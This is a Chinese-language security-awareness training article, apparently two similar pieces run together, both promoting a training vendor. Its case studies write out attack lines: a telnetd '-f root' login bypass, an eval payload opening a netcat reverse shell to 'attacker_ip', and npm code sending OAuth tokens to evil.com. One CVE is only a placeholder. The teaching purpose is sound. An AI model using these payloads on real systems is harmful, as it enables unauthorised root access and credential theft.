---

一、头脑风暴：假设我们身处一个“黑客已失联，系统自动防御”的乌托邦

如果明天清晨，公司的服务器突然弹出一行字：“恭喜，你已经被穿透！”。所有人惊慌失措，却发现这只是一场演练；如果不演练，真正的攻击者会趁虚而入，留下的只有不可挽回的损失。于是，我与同事们进行了一次头脑风暴，凭借想象力拼凑出四个极具教育意义的安全事件案例，帮助大家提前预见、提前防御。

案例一：GNU InetUtils telnetd 远程认证绕过（CVE‑2026‑24061）
案例二：FortiSIEM 未授权代码执行漏洞（CVE‑2025‑…）
案例三：n8n 社区节点供应链攻击，盗取 OAuth Token
案例四：AI 语音克隆攻击微软 Copilot，单击式数据泄露

下面，我们将对这四个案例进行深入剖析，提炼出“了解威胁、识别风险、快速响应、持续改进”的四大要义。

---

二、案例深度剖析

1. GNU InetUtils telnetd 远程认证绕过（CVE‑2026‑24061）

• 事件概述
  2026 年 1 月，The Hacker News 报道，GNU InetUtils 中的 telnetd 服务器在处理 USER 环境变量时缺乏过滤，攻击者只需在 telnet 客户端中携带 -f root 参数，即可让 login 程序以 root 身份直接登录，完全绕过密码验证。该缺陷自 2015 年代码提交至 2026 年才被公开，影响所有 1.9.3‑2.7 版本。CVSS 评分 9.8，堪称“十年潜伏的暗杀刀”。

• 技术细节

  1. telnetd 通过 execve("/usr/bin/login", ["login", USER]) 将 USER 直接作为 login 参数。
  2. login 程序的 -f 选项本意是“强制登录指定用户”，常用于本地脚本的免密登录。
  3. 攻击者在 telnet 客户端使用 telnet -a -f root <目标>，并在 ENV 中注入 USER="-f root"，导致服务器端 login -f root ，直接获取 root 权限。

• 危害评估

  • 完整系统控制：攻击者获取 root 后，可随意更改系统文件、植入后门、窃取数据。
  • 横向扩散：利用 root 权限，攻击者可以在内部网络部署横向渗透工具，进一步感染关键业务系统。
  • 隐蔽性强：因为 telnet 本身是明文协议，管理员往往对其安全性掉以轻心，导致该漏洞长期被忽视。

• 防御建议

  • 禁用 telnet：在生产环境中彻底关闭 telnet 服务，改用 SSH（已实现加密、双向认证）。
  • 环境变量过滤：如必须使用 telnet，务必在 telnetd 启动脚本中加入 unset USER，或使用 pam_filter 对传入变量进行白名单校验。
  • 最小化特权：将 login 进程改为不接受 -f 参数的自定义登录实现，或使用 nologin 替代。
  • 日志审计：开启 auditd 对 /usr/bin/login 调用进行监控，异常 -f 参数立即触发告警。

教训：即使是“老古董”协议，也可能隐藏致命后门。对任何暴露在外的服务，都要进行最小化暴露 + 严格输入过滤的双重防护。

2. FortiSIEM 未授权代码执行漏洞（CVE‑2025‑…）

• 事件概述
  2025 年 12 月，Fortinet 官方发布安全通告，披露 FortiSIEM 管理界面在未授权情况下可通过特制的 HTTP 请求执行任意系统命令。攻击者仅需发送一条精心构造的 GET 请求，即可触发后端 Python 脚本的 eval()，完成 RCE（Remote Code Execution）。漏洞 CVSS 评分 9.3，涉及全球数千家使用 FortiSIEM 的企业。

• 技术细节

  1. 漏洞位于 api/v1/alert 接口，参数 filter 被直接传入 eval()。
  2. 攻击者利用 filter=__import__('os').system('nc -e /bin/sh attacker_ip 4444')，实现反弹 shell。
  3. 因缺乏身份验证，任何外部 IP 均可访问该接口。

• 危害评估

  • 数据中心失控：攻击者可在 SIEM 服务器上植入后门，监控、篡改日志，掩盖后续攻击痕迹。
  • 合规风险：SIEM 本是合规审计核心，一旦被破坏，企业将难以满足 ISO27001、PCI‑DSS 等法规要求。
  • 业务中断：RCE 可直接导致服务崩溃、系统重启，造成业务不可用。

• 防御建议

  • 及时打补丁：在官方发布安全补丁后 24 小时内完成升级。
  • 网络分段：将 SIEM 放置于受限子网，仅允许内部安全运维 IP 访问。
  • WAF 防护：在前端部署 Web Application Firewall，对 eval、import 等关键字进行拦截。
  • 安全审计：开启 FortiSIEM 对 API 调用的审计日志，异常 filter 参数即时告警。

教训：管理平台的“无认”漏洞往往能“一举拿下”整个安全体系，最小权限原则和深度防御是不可或缺的防线。

3. n8n 社区节点供应链攻击，盗取 OAuth Token

• 事件概述
  2026 年 2 月，安全社区披露 n8n（开源工作流自动化平台）官方节点库被黑客入侵，恶意节点被推送至全球用户。该节点在执行时会向攻击者的 C2 服务器发送 OAuth Token，导致与 GitHub、GitLab、Jira 等平台集成的账户被劫持。受影响的企业超过 300 家，其中不乏大型互联网公司。

• 技术细节

  1. 攻击者获取了 n8n 官方 npm 组织的发布权限，将恶意代码嵌入 node-n8n-oauth-leak 包。
  2. 该节点在 execute() 函数中调用 axios.post('https://evil.com/collect', {token: $node['OAuth2'].credentials.access_token})。
  3. 一旦工作流触发，OAuth Token 被窃取，攻击者即可使用相同权限访问受害方的源码仓库、CI/CD 流程。

• 危害评估

  • 源码泄露：企业内部源码、API 密钥、部署脚本等信息被窃取，形成二次攻击基础。
  • 供应链污染：恶意节点经由官方渠道分发，导致信任链失效，影响整个平台生态。
  • 业务中断：遭窃的 OAuth Token 可用于在 CI 中植入后门、删除关键分支，甚至破坏生产环境。

• 防御建议

  • 签名校验：对所有第三方节点进行 SHA256 校验，确保与官方散列匹配。
  • 最小化 OAuth 权限：在 OAuth 授权时，严格限定 scope，拒绝授予不必要的写权限。
  • 监控异常流量：使用 Cloudflare 或类似的 API 网关，对外部请求进行速率限制和异常检测。
  • 供应链安全培训：让研发团队了解 “依赖即风险” 的原则，养成审计第三方代码的习惯。

教训：供应链攻击往往隐藏在“官方”背后，审计依赖、最小授权和行为监控是防止“被亲兄弟背刺”的关键。

4. AI 语音克隆攻击微软 Copilot，单击式数据泄露

• 事件概述
  2026 年 3 月，某安全研究机构演示了利用 AI 语音克隆技术伪造企业高管的声音，诱导员工在使用 Microsoft Copilot 时进行“一键授权”。攻击者通过深度学习模型合成高管声纹，并在 Teams 会议中发送假冒指令，要求员工打开嵌入的恶意链接，授权 Copilot 读取本地文档、邮件，完成数据泄露。该攻击成功率高达 73%，已在数十家跨国公司造成敏感信息外泄。

• 技术细节

  1. 攻击者使用 Resemblyzer + WaveNet 对目标高管的公开演讲进行训练，生成毫秒级仿真声纹。
  2. 将仿真声纹嵌入 Teams 会议的音频流，配合 social engineering，让受害者误以为是真正的指令。
  3. 受害者在 Copilot UI 中点击“授权访问”，实际上触发了 Microsoft Graph API 的全局读取权限，导致企业内部数据被同步至攻击者控制的 OneDrive。

• 危害评估

  • 信息泄露：包括商业计划、客户名单、专利文件在内的核心资产被外部获取。
  • 信任破坏：企业内部对 AI 助手的信任度下降，导致生产效率受挫。

    

  • 合规违规：GDPR、CCPA 等法规要求对个人数据的访问进行明确授权，未经授权的跨境传输将面临巨额罚款。

• 防御建议

  • 多因素验证：对所有对外授权操作加入 MFA，单凭一次点击不可完成授权。
  • 语音深度检测：部署 anti‑deep‑fake 检测系统，对会议音频进行实时鉴别。
  • 权限审计：使用 Microsoft 365 安全中心定期审计 Copilot 的权限请求，发现异常即撤销。
  • 安全文化：强化员工对 AI 助手的风险认知，避免“一键即信任”。

教训：AI 不再是冰箱里的“冷门”，它可以成为 “会说话的刀锋”，只有在技术与人性的双层防线下，才能真正阻止恶意利用。

---

三、从案例到现实：智能化、数据化、机器人化时代的安全新挑战

近年来，具身智能（Embodied AI）、全量数据化（Datafication）以及机器人化（Robotics）正以指数级速度渗透进企业的每个业务环节。生产线的机器人手臂、客服的 AI 机器人、以及基于传感器的实时监控系统，已经不再是概念，而是“活生生的资产”，同时也成为攻击面的新入口。

1. 具身智能 → 物理攻击的软肋
   • 机器人手臂若使用未加固的 ROS（Robot Operating System）通信协议，攻击者可注入恶意指令，让机器人执行破坏性动作（如摧毁关键设备）。
   • 对策：在机器人网络层引入 TLS 加密、采用零信任（Zero Trust）架构，对每一次指令进行身份鉴别。
2. 全量数据化 → 隐私泄露的温床
   • IoT 传感器收集的温湿度、位置信息、生产数据，一旦被窃取，可用于推断企业产能、供货计划，甚至进行商业间谍。
   • 对策：对 Edge 设备部署 微分段（Micro‑segmentation），并使用 同态加密、联邦学习等技术在不泄露明文的前提下进行数据分析。
3. 机器人化 → 自动化攻击的加速器
   • 攻击者利用 CI/CD 流水线 自动化渗透测试脚本，一键在大量服务器上部署后门，实现“弹丸攻击”。
   • 对策：在 DevSecOps 流程中加入 SAST/DAST、SBOM（Software Bill of Materials）校验，确保每一次部署都经过安全审计。

一句古语：“防微杜渐，祸不单行”。在信息安全的疆场上，细小的漏洞往往孕育巨大的危机。只有把安全思维融入每一次代码提交、每一次设备交付、每一次系统升级，才能在智能化浪潮中保持立于不败之地。

---

四、号召全员参与信息安全意识培训——从“知”到“行”

1. 培训目标

目标	内容	预期效果
基础认知	了解常见攻击手法（钓鱼、漏洞利用、供应链攻击）	能识别社交工程诱导
技术实战	演练 telnetd 环境变量注入、FortiSIEM RCE 防护、n8n 节点审计、AI 语音防伪	能在真实环境中快速定位风险
合规意识	解读 GDPR、PCI‑DSS、国内网络安全法要点	知道合规违规的后果
应急响应	构建 24/7 监控、日志审计、快速隔离流程	缩短从发现到响应的时间至 < 30 分钟
持续改进	建立安全自评、红蓝对抗、威胁情报共享机制	形成闭环的安全防御体系

2. 培训形式

• 线上微课（30 分钟/节）：以动画+案例讲解的方式，让员工在碎片时间内完成学习。
• 线下实战工作坊（2 小时/场）：邀请公司安全团队进行现场演示，现场渗透演练，现场答疑。
• CTF 挑战赛（1 周）：围绕上述四大案例设计渗透挑战，奖励 Top 5 选手，激发学习兴趣。
• 安全周报：每周发布案例回顾、行业热点、内部漏洞通报，形成 “安全即新闻” 的文化氛围。

3. 激励机制

• 合格证书：完成所有模块并通过考核的员工，将获得《公司信息安全合格证书》，并计入年度绩效。
• 积分商城：每完成一次学习或提交有效安全建议，可获积分，兑换公司福利（咖啡券、技术书籍、额外假期）。
• 荣誉榜：每月公布“安全之星”名单，在公司内网、年会进行表彰，树立榜样。

4. 参与方式

现在就行动：打开公司内部门户 → 进入“安全培训” → 点击“立即报名”。报名成功后，系统会自动推送培训时间表和预习材料。请务必在 2026 年 4 月 30 日 前完成报名，否则将错失本期培训的优惠奖励。

5. 角色分工

角色	主要职责
信息安全部	统筹课程设计、演练场景搭建、考试评估
IT 运维	提供实验环境、日志收集、系统审计支持
HR 人事	负责报名统计、证书颁发、激励发放
业务部门	组织内部宣传、安排员工参加时间
全体员工	主动学习、积极反馈、及时报告异常

---

五、结语：让安全成为每个人的日常习惯

在过去的几年里，我们看到了 “古老协议的致命漏洞”、“云平台的未授权代码执行”、“供应链的隐蔽渗透”、以及 “AI 语音克隆的社交工程” 四大浪潮，它们的共同点不在于技术的高深，而在于 人类的疏忽与信任的误用。正如《孙子兵法》所言：“兵者，诡道也”。防御同样需要“诡道”，但必须在合法合规的框架内，以知己知彼为根本。

在具身智能、数据化、机器人化的全新生态里，每一台机器人、每一段数据、每一次智能交互，都可能成为攻击者的入口。只有把 “安全思维” 融入到每日的开发、运维、使用环节，才能在信息化的浪潮中立于不败之地。

让我们从今天起，从每一次打开邮件、每一次点击链接、每一次配置机器人开始，把安全当成习惯，把防御当成常态。期待在即将开启的培训中，与每一位同事一起，筑起坚不可摧的安全堡垒。

让安全成为企业的最佳竞争力，让每个人都是信息安全的守护者！

在数据合规日益重要的今天，昆明亭长朗然科技有限公司为您提供全面的合规意识培训服务。我们帮助您的团队理解并遵守相关法律法规，降低合规风险，确保业务的稳健发展。期待与您携手，共筑安全合规的坚实后盾。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

头脑风暴：如果公司的密码库被黑客“一键破解”，如果生产线的机器人在午夜自行“加班”，如果 AI 助手被恶意“喂养”假信息，你会怎么做？这些看似科幻的情境，正悄然向我们逼近。本文将通过四起典型安全事件，剖析攻击者的手段与思路，并结合当下无人化、具身智能化、自动化融合发展的新环境，号召全体职工踊跃参与即将开启的信息安全意识培训，提升自我防护能力，让“技术防线”与“人脑防线”同频共振。

---

一、四则警示案例——从血肉之躯到代码之体

案例一：LastPass 伪装钓鱼——夺取“金钥匙”

时间：2026 年 1 月 19 日起
攻击方式：伪造 LastPass 官方邮件，声称系统维护需在 24 小时内备份密码库，附带恶意链接。
后果：受害者输入主密码后，攻击者获得全部登录凭证，进一步窃取其在企业、个人云服务、金融账户等的登录信息。
教训：紧急链接与主密码永远不应通过邮件或网页提交；钓鱼邮件常以“时间紧迫”制造焦虑，遇到此类请求务必核实官方渠道。

分析：LastPass 作为全球最大密码管理器之一，拥有约 3300 万用户。攻击者利用其品牌信任度，制造“紧急维护”场景，诱导用户在焦虑心理下泄露关键凭证。此类攻击属于社会工程的典型——技术手段是制造逼真的登录页面，关键在于人性弱点的利用。防御不在于技术的完美，而在于用户识别和报告的及时性。

---

案例二：某大型医院被勒索病毒“锁链”击中——停摆的手术室

时间：2025 年 11 月 3 日
攻击方式：黑客通过钓鱼邮件植入Emotet木马，后加载Ryuk勒索软件。攻击者利用医院内部未打补丁的 Microsoft Exchange 漏洞横向移动，最终加密手术室的影像系统与电子病历。
后果：手术被迫延期 12 小时，患者安全受到威胁，医院估计损失超过 500 万美元。
教训：关键业务系统必须实行网络分段、最小权限原则，并定期进行 漏洞扫描 与 备份演练；医护人员的 邮件安全意识 同样不可或缺。

分析：医院属于高价值目标，一旦被攻击，直接影响到生命安全。攻击链条从邮件钓鱼→持久化→横向移动→加密，每一步都有对应的防御点。最常被忽视的是快速检测与响应：一旦发现异常，应立刻切断网络、启动应急预案。技术手段（入侵检测、端点防护）固然重要，但第一线的警觉往往是最早的告警。

---

案例三：供应链攻击——软件更新背后的“蜜罐”

时间：2024 年 6 月 15 日
攻击方式：攻击者渗透一家为全球金融机构提供 财务报表生成工具 的第三方供应商，在其向客户推送的 软件更新包 中植入后门。
后果：受影响的金融机构内部网络被植入远控木马，导致数千笔交易数据被篡改并泄露；监管部门随后对该机构处以 2000 万美元罚款。
教训：供应链安全必须从供方资质审查、代码签名、安全监测多维度入手；企业要对外部软件进行二次验证，不要盲目信任“官方”更新。

分析：供应链攻击的威力在于放大效应——一次侵入可波及数十乃至数百家企业。攻击者通过 Supply Chain Compromise（供应链妥协）模式，利用受信任的第三方渠道，绕过传统防火墙。防御思路应包括 软件成分分析（SCA）、可信执行环境（TEE）以及 零信任网络访问（ZTNA），同时对关键业务系统实行 多因素认证，降低后门被利用的风险。

---

案例四：AI 生成深度伪造语音诈骗——“老板的指令”不再可信

时间：2025 年 2 月 21 日
攻击方式：黑客利用 生成式 AI（如 GPT‑4、ChatGPT） 与 语音合成（Voice‑Cloning） 技术，伪造公司 CEO 的声音，向财务部门发送“紧急转账 30 万元”的口头指令。
后果：财务部门在未核实的情况下完成转账，导致公司资金短缺，后经内部审计才发现是伪造语音。
教训：身份验证不能仅依赖声音或文字，必须配合 双因素或多因素认证；对高风险指令设立审批流程，并对 AI 生成内容进行数字水印检测。

分析：深度伪造（Deepfake）技术的门槛正在下降，攻击者只需几分钟训练模型即可生成逼真的语音或视频。传统的“确认身份”方式已被突破，企业必须采用 “不可否认性”（Non‑repudiation）机制，例如 数字签名、区块链时间戳，以及 行为分析（如异常转账模式），才能在 AI 时代保持可信度。

---

二、从案例看漏洞——人因、技术与流程的“三重失守”

1. 人因失守：四起案例中均以社会工程为入口。无论是钓鱼邮件、假冒领导口令，还是供应链的“官方更新”，都在利用人类的信任、焦虑与从众心理。
2. 技术失守：部分案例暴露了系统漏洞（Exchange、未签名软件更新）以及安全防护薄弱（缺乏入侵检测、备份未离线）。技术层面的缺口为攻击者提供了立足点。
3. 流程失守：医院的手术延误、金融机构的交易失误、财务部门的盲目转账，都说明业务流程缺乏多级审批、异常监控和应急预案。

一句话警示：安全不是某个部门的事，而是一场全员参与的演练。

---

三、无人化、具身智能化、自动化的融合趋势——安全防线的新坐标

1. 无人化（无人仓、无人车）——边缘设备的“低防护”

随着 物流机器人、自动驾驶车辆 在企业内部的普及，边缘设备 成为攻击者的新入口。它们往往运行轻量化操作系统，缺乏完善的补丁管理，且常常 暴露在公共网络。一旦被植入 后门，攻击者可以利用这些设备作为 跳板，横向渗透至核心系统。

防护建议：对所有无人设备实施 统一身份认证、固件完整性校验，并设置 网络隔离（如 VLAN）和 最小化服务，防止 “外来者” 在设备上安家。

2. 具身智能化（机器人、协作臂）——“物理+信息”双向攻击

具身智能化让 机器人拥有感知、学习与决策能力。攻击者若成功入侵协作臂的控制系统，除造成生产停滞，还可能导致 安全事故（如机械误动作、工伤）。此次攻击的目标已经从信息窃取扩展到 物理破坏。

防护建议：采用 安全指令链（Secure Command Chain）和 可信执行环境，确保每一次动作需经 数字签名 验证；对机器人的感知数据进行 完整性校验，防止伪造传感器输入。

3. 自动化（CI/CD、DevOps 流水线）——速度背后的安全隐患

企业快速交付的背后，是 代码自动化构建、容器化部署。如果在 CI/CD 流程中缺乏 安全扫描，恶意代码可悄然进入生产环境。近期多起 供应链攻击 正是通过 容器镜像篡改 实现的。

防护建议：在流水线中嵌入 SAST、DAST、SBOM 检查；对每一次 镜像推送 进行 签名验证；实现 零信任（Zero Trust）原则，确保每个组件仅拥有完成任务所需的最小权限。

---

四、信息安全意识培训——让每位职工成为“安全的第一道防线”

1. 培训的必要性

• 案例驱动：通过真实事件让抽象的安全概念贴近生活，提升记忆效果。
• 全员覆盖：从研发、运营到人事、财务，任何岗位都有可能成为攻击的入口。



• 持续迭代：安全威胁日新月异，培训必须与时俱进，形成学习闭环。

古语有云：“防患未然”，而在信息时代，“未然”就是每一次点击、每一次指令。

2. 培训的核心模块

模块	关键要点	预计时长
社交工程识别	钓鱼邮件特征、紧急链接的陷阱、验证官方渠道的步骤	45 分钟
密码与多因子	主密码管理、密码管理器安全使用、MFA 部署	30 分钟
移动与边缘设备安全	设备加固、固件更新、远程访问控制	35 分钟
AI 时代的可信交互	深度伪造辨识、AI 生成内容的风险、数字水印检测	40 分钟
供应链与 DevSecOps	SBOM、代码签名、CI/CD 安全加固	45 分钟
应急响应演练	现场演练、日志分析、隔离与恢复流程	60 分钟
心理抗压与安全文化	抗压技巧、团队协作、构建安全共享责任感	30 分钟

注：每个模块均配备案例实战、情景演练以及即时测评，确保学习效果可量化。

3. 参与方式与激励机制

1. 线上线下双轨：提供 LMS（学习管理系统）视频课程与 现场互动研讨，满足不同学习偏好。
2. 积分奖励：完成每个模块可获 安全积分，累计至公司内部商城兑换 礼品卡、额外假期或 专业培训名额。
3. “安全之星”评选：每季度评选 最具安全意识员工，予以表彰并在公司内部通讯中推广其经验。
4. 案例征集：鼓励员工提交自己或同事发现的可疑情况，优秀案例将纳入下一期培训案例库，作者可获得 额外积分。

4. 培训的长远价值

• 降低风险成本：每一次成功防御，等同于避免一次潜在的 数十万到上百万 的损失。
• 提升合规水平：符合 GDPR、ISO 27001、国内网络安全法 等监管要求。
• 增强企业竞争力：安全可靠的业务环境是客户与合作伙伴选择的关键因素。
• 塑造安全文化：当每位员工都自觉成为安全守门人，组织的整体韧性自然提升。

一句话总结：技术是墙，意识是门；只有双开，才能真正挡住攻击的脚步。

---

五、结语：从“防火墙”到“防人墙”，让安全渗透到每一次呼吸

在无人化的工厂车间里，协作机器人正在精准装配电子元件；在具身智能的实验室，AI 助手正在帮助科研人员分析数据；在自动化的代码流水线中，容器镜像正快速交付新功能。这些技术的每一次跃进，都是对安全的再一次考验。

我们不可能预知每一次攻击的细节，但我们可以决定自己是否做好准备。让我们从 LastPass 伪装邮件的警示中学会“不要轻信紧急链接”，从 医院勒索的惨痛里体会“关键系统要分段、要备份”，从 供应链后门的阴影中懂得“每一次更新都要二次验证”，并从 AI 深度伪造的惊悚里记住“身份验证必须多因素”。

信息安全意识培训不是一次性的任务，而是一次次自我提升、相互提醒的循环。只要每位职工都把安全理念内化为日常工作的一部分，公司的整体防御力将从“被动防护”跃升为“主动威慑”。

让我们在即将开启的培训中，抛开枯燥的技术条文，用案例、用情境、用游戏化的学习方式，点燃每个人心中的安全防火。当我们每一次点击、每一次确认、每一次报告都变成 安全的正向行为，整个组织的防线将不再是单薄的“墙”，而是一座 坚不可摧的城堡。

行动吧！ 报名参加本月的“信息安全意识提升培训”，让我们一起在无人化、具身智能化、自动化的浪潮中，保持清醒、保持警觉、保持安全。

昆明亭长朗然科技有限公司专注于信息安全意识培训，我们深知数据安全是企业成功的基石。我们提供定制化的培训课程，帮助您的员工掌握最新的安全知识和技能，有效应对日益复杂的网络威胁。如果您希望提升组织的安全防护能力，欢迎联系我们，了解更多详情。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898